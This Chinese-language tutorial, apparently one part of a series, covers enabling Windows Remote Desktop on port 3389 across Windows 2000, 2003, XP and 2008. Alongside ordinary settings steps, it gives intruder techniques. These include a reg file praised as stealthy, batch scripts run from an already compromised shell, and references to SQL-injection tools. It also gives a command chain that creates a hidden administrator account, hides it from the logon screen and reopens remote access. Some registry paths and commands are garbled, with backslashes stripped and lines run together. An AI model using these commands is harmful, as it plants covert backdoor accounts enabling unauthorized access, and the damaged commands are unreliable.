遠程終端攻防技術專題分為四個部分,本部分著重介紹在Windows 2000 Server, Windows 20003 Server 、WindowsXp,以及Windows 2008 Server下如何常規和非常規開啟遠程終端(俗稱3389)。
Windows Xp/2000/2003 Server中的Windows Terminal Services(WTS)又稱為遠程終端服務(Remote Terminal Services)或者俗稱為3389,是在Windows NT中最先使用的一種終端,在Windows 2000 Professional版本中不可以安裝,在 Windows 2000 Server或以上版本才可以安裝這個服務,其默認服務端口為3389,在Windows XP系統中稱為“遠程桌面(Remote Desktop)”。遠程終端服務是Windows 2000 Server中的一項重要服務,主要通過遠程桌面連接來對服務器進行管理或者運行應用程序,其功能類似於遠程管理軟件,由於遠程終端服務使用簡單、方便,不產生交互式登陸,而且可以在後臺操作,因此在各行各業都有大量的應用,深受用戶喜愛。
遠程終端服務在很多大型系統中使用得越來越廣泛,正是由於遠程終端服務在Windows Server 2000以及Windows 2003 Server中開啟非常簡單方便,一般情況都不需要重新安裝,隻需要運行幾行DOS命令即可開啟,且由於使用終端不受IP地址的限制,隻要擁有用戶賬號及其對應的用戶口令,就可以正常登錄,因此對Windows Xp/2000/2003 Server來講遠程使用終端服務即開啟瞭方便之門,也開啟瞭網絡安全的安全隱患之門,而且目前還有針對Windows Xp/2000/2003 Server及其以上版本的遠程終端服務攻擊的軟件,一旦攻擊成功,對於運行重要程序的服務器將會帶來不可估量的經濟損失,下面對遠程終端服務以及相關安全技術進行分析。
1.遠程終端服務開啟步驟
在Windows 2000 Server中,有許多開啟遠程終端服務方法,歸納起來對於遠程終端的開啟主要通過以下步驟來進行:
(1)查看“Terminal Services”是否開啟。可以通過服務器中的“服務管理”以及通過DOS命令下的“net start”來查看。如果在服務管理器中“Terminal Services”的狀態為“啟動”,則表示“Terminal Services”開啟成功;而在DOS命令下使用“net start”的結果中如果出現瞭“Terminal Services”則表示開啟瞭遠程終端服務。
(2)啟動Windows Terminal Services服務。
(3)使用“遠程桌面連接”(RDP)連接遠程終端,如果使用RDP連接遠程終端成功,則表示遠程終端服務開啟成功。
2.一些常見開啟遠程終端服務的方法
(1)使用rots.vbs腳本
Rots.vbs是由網名為“灰色軌跡zzzevazzz”寫的一個VBS腳本,該腳本通過系統中自帶的cscript.exe應用程序來執行,使用該腳本可以開啟終端服務以及修改終端服務端口,其使用格式為:
cscript.exe rots.vbs ip user userpass port /r或cscript.exe rots.vbs ip user userpass port /fr
(2)使用bat命令
通過記事本建立一個bat文件,在其中分別輸入以下內容:
echo [Components] > c:sql
echo TSEnable = on >>sql
c:sqlsysocmgr /i:c:winntinfsysoc.inf /u:c:sql /q
運行該批處理命令後,重新啟動計算機,則遠程終端服務開啟成功,該方法不能更改終端服務的端口。
(3)導入一個reg文件到需要開啟終端服務的機器中
該方法主要是修改遠程終端服務的端口及其相關設置,通過生成一個以reg為後綴的文件,將該文件導入到需要開啟終端服務的計算機上。該方法比較隱蔽,通過服務管理器以及“net start”命令均不會發現終端服務已經啟動。Reg文件內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionnetcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService]
"Start"=dword:00000002
[HKEY_USERS.DEFAULTKeyboard LayoutToggle]
"Hotkey"="1"
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]
"PortNumber"=dword:00000D3D
(4)使用SQL註入軟件啟動3389服務
在Domain3.5以及網名為教主的HDSI2.0 SQL等註入工具中均提供瞭開啟3389終端服務功能,使用該類軟件來開啟3389的前提條件是運行Web服務的服務器必須存在SQL註入漏洞,而且數據庫用戶的權限較大,在SQL Server 2000中數據庫用戶必須為sa。
(5)使用其它軟件開啟3389
在網上其它一些流行軟件其開啟原理跟前面類似,隻是使用不同的編程語言進行實現。
3.開啟遠程終端控制案例
本案例中的開啟遠程終端控制案例是在已經取得計算機的一個Shell的前提下,通過執行vbs腳本或者批處理命令來執行。在本案例中是在Windows 2000 Server中使用批處理命令開啟遠程終端。
(1)在Shell中執行2000.bat腳本,2000.bat腳本內容如圖1所示,可以將該腳本文件復制或者上傳到需要開啟遠程終端服務的計算機中,然後執行該腳本文件即可。
圖1 2000.bat文件內容
技巧
該腳本是開啟4455端口作為遠程終端服務端口,在腳本文件中可以根據需要修改其遠程終端服務端口,即修改腳本中的PortNumber後的數值“dword:00001167”即可,該值為16進制,在修改時可以使用系統附件中自帶的計算器來計算,打開計算器後在“查看”菜單中選擇“科學型”,然後選擇“十進制”並輸入端口值,最後選擇“十六進制”即可,如圖2所示,將該值覆蓋PortNumber中的deword值即可,如果其值不足8位,則其前面補“0”。
圖2 使用計算器來計算端口值
(2)重啟計算機。在Windows 2000 Server中開啟遠程終端服務必須重啟才能生效。
(3)使用遠程終端連接器進行連接測試。重啟Windows 2000 Server後,需要先查看被開啟遠程終端服務的計算機的遠程終端是否開放。可以使用掃描軟件或者sfind等小工具查看遠程終端端口開放情況,例如輸入命令“sfind –p 4455 192.168.1.100”來查看IP地址為192.168.1.100的計算機4455端口是否開放。如果開放則可以使用遠程終端連接器進行連接。出現遠程終端連接桌面後,輸入用戶名和密碼即可進入遠程終端桌面管理。
註意
(1)mt.exe也可以很方便的開啟Windows 2000 Server的3389終端服務。
(2)Windows 2000 Server開啟3389後需要重新啟動。
(3)筆者曾經在一臺計算機上遇到過執行3389開啟命令後,顯示成功,但卻無法連接3389。
1.允許開啟遠程終端
在Windows 2003中單擊“我的電腦”-“屬性”-“遠程”,打開如圖3所示,在遠程桌面中選中“允許用戶遠程連接到這臺計算機”,允許開啟遠程終端。
圖3允許開啟遠程
2.授權遠程桌面用戶
單擊“選擇遠程用戶”,彈出如圖4所示的用戶選擇界面,單擊添加按鈕選擇一個遠程桌面訪問用戶,在本例中選擇的是http://asp.net用戶。
圖41授權遠程桌面用戶
3.查看遠程終端端口
打開DOS命令提示符窗口,如圖5所示,使用“netstat –an”或者“netstat -an | find "3389"”命令查看3389端口開啟情況,如果在列表中顯示3389端口已經開放,說明遠程終端開啟成功。
圖5查看遠程終端開啟端口
4.遠程終端登錄測試
單擊“開始”-“運行”,在打開中輸入“mstsc”命令,打開遠程登錄窗口,在其地址欄輸入剛才開啟遠程終端的計算機的IP地址,單擊連接,打開遠程桌面登錄窗口,輸入用戶名和密碼,登錄成功後如圖6所示,表明遠程終端開啟成功。
圖6遠程終端登錄測試
Windows Xp開啟3389分為兩種情況,一種就是管理員為瞭方便自己,另外一種就是入侵者在獲取權限下非法開啟3389,下面分為兩種情況來介紹。
管理員開啟也就是圖形界面開啟,操作非常簡單,按照下面的步驟即可完成。
單擊“我的電腦”-“屬性”-“遠程”,如圖7所示,選中“允許從這臺計算機發送遠程協助邀請”即可。
圖7 開啟遠程協助
單擊“開始”-“運行”,在打開中輸入“cmd”打開命令提示符,在其中輸入“netstat -an | find "3389" ”如果遠程終端開啟成功那麼就會顯示默認的3389端口正在監聽,如圖8所示。
a03db3b45cf5372e4d2ce47783951d0c
圖8 查看遠程終端端口監聽狀態
單擊“開始”-“運行”,在打開中輸入“mstsc.exe”打開遠程桌面連接客戶端,在計算機中輸入本機IP地址,接著會出現一個錯誤提示,如圖9所示,不要緊張,在WindowsXP中本機不能自己連接自己的3389,但在Windows 2003中就可以自己連接自己的IP地址。這這時就可以換虛擬機進行連接,在虛擬機中輸入本機的IP地址。
圖9 遠程終端連接錯誤提示
說明:
(1)通過虛擬機進行遠程終端連接時必須保證網絡是聯通的,即本機與客戶機(虛擬機)是聯通的。
(2)本機防火墻中要允許3389通過。具體操作方法如下:
①單擊“開始”-“控制面板”-“Windows防火墻”,打開後如圖10所示,該界面是Windows防火墻的圖形操作界面,默認情況下WindowsXp是開啟瞭防火墻,而且是允許例外,很多下載程序會自動修改以允許其通過。
圖10 Windows Xp自帶的防火墻
②在Windows防火墻窗口中單擊“例外”標簽,如圖11所示,該列表中有兩種情況,一種是允許通過的程序或者服務,另外就是不允許通過的。每一個名稱前面都有一個單選框,選中表示允許,否則不允許。
8debd33db5b4ca1cd868a7674ff90bac
圖11 Windowsxp中的例外程序和服務
③在例外標簽中單擊“添加端口”,如圖12所示,在名稱中輸入“3389”,在端口號中輸入“3389”,單擊“確定”即可。
614f56a86caf143917ced6a78de89808
圖 12添加3389允許通過防火墻
直接打開命令提示符或者在telnet命令下直接將以下代碼粘貼復制執行即可。
reg delete "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /f
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
雖然見證瞭很多在WindowsXP和Windows2003下開啟3389的命令,但下面這個命令是最為好用的,他不但添加瞭一個用戶,同時將該用戶添加到遠程桌面用戶組中,避免瞭權限限制情況下不能登陸的問題,同時通過命令運行防火墻通過3389,實在是好命令。該命令在Windows2003下執行更佳,在Windows XP下添加用戶後容易被用戶發現。
net user http://antian365.com antian365 /addnet localgroup Administrators http://antian365.com /addnet localgroup "Remote Desktop Users" http://antian365.com /addattrib +h "%SYSTEMDRIVE%Documents and Settingshttp://antian365.com" /S /Decho Y | reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t reg_dword /d 0echo Y | reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v AllowTSConnections /t reg_dword /d 1echo Y | reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "http://antian365.com" /t REG_DWORD /d 00000000 /fsc config rasman start= autosc config remoteaccess start= autonet start rasmannet start remoteaccess
在舊版本系統環境下,我們往往要通過安裝系統組件的方式來安裝系統終端服務,而在Windows Server 2008系統環境下我們可以通過服務器管理器控制臺和修改系統屬性來安裝終端服務器。
1.修改遠程屬性來開啟遠程終端
在Windows 2008 Server中單擊“我的電腦”-“屬性”-“遠程”,打開如圖13所示,在遠程桌面中選中“允許運行任意版本遠程桌面的計算機連接”,允許開啟遠程終端,單擊“確定”即可開啟遠程終端。其它測試遠程終端端口和連接的步驟類似,在此就不贅述瞭。
圖12 在Windows 2008 Server中開啟遠程終端
2.通過服務器管理器開啟遠程終端
通過服務器管理器開啟遠程終端步驟相對較多,需要以超級管理員權限進入Windows Server 2008系統,然後單擊系統桌面中的“開始”按鈕,從彈出的“開始”菜單中依次單擊“程序”/“管理工具”/“服務器管理器”命令,進入服務器管理器控制臺窗口,在該窗口中我們能夠集中管理Windows Server 2008服務器系統中的各個角色以及各項功能。單擊向導設置窗口中的“下一步”按鈕,打開如圖13所示的服務器角色列表窗口,檢查其中的“終端服務”選項是否處於選中狀態,要是發現該選項還沒有被選中時,我們必須將它重新選中,再單擊“下一步”按鈕;隨後我們會看到有關終端服務的簡介信息,並且知道如果要允許遠程連接以進行管理,那就不需要安裝終端服務器瞭,不過必須確保已經啟用遠程桌面設置。
圖13選擇終端服務
繼續單擊“下一步”按鈕,進入如圖14所示的選擇角色服務對話框;在這裡,我們需要先將“終端服務器”選項選中;倘若希望局域網客戶端用戶能通過Web方式訪問終端服務器中的各種共享資源時,那需要將這裡的“Ts Web Access”功能選項選中;一旦選中“Ts Web Access”功能選項後,屏幕上將會自動彈出“是否添加Ts Web訪問所需的角色服務和功能”提示窗口,單擊該窗口中的“添加必需的角色服務”按鈕,返回選擇角色服務對話框;同樣地,要是我們希望增強終端訪問的安全性時,可以選中這裡的“Ts網關”功能選項,再在其後的提示窗口中單擊“添加必需的角色服務”按鈕,返回選擇角色服務對話框。後續步驟按照其相應提示完成即可。與第一種開啟方法相比,第二種設置更加全面,也相對復雜。一般情況而已使用第一種設置方法即可,需要主要的是,使用第一種方法設置,用戶密碼一定要設置強悍一些。
圖14 選擇角色服務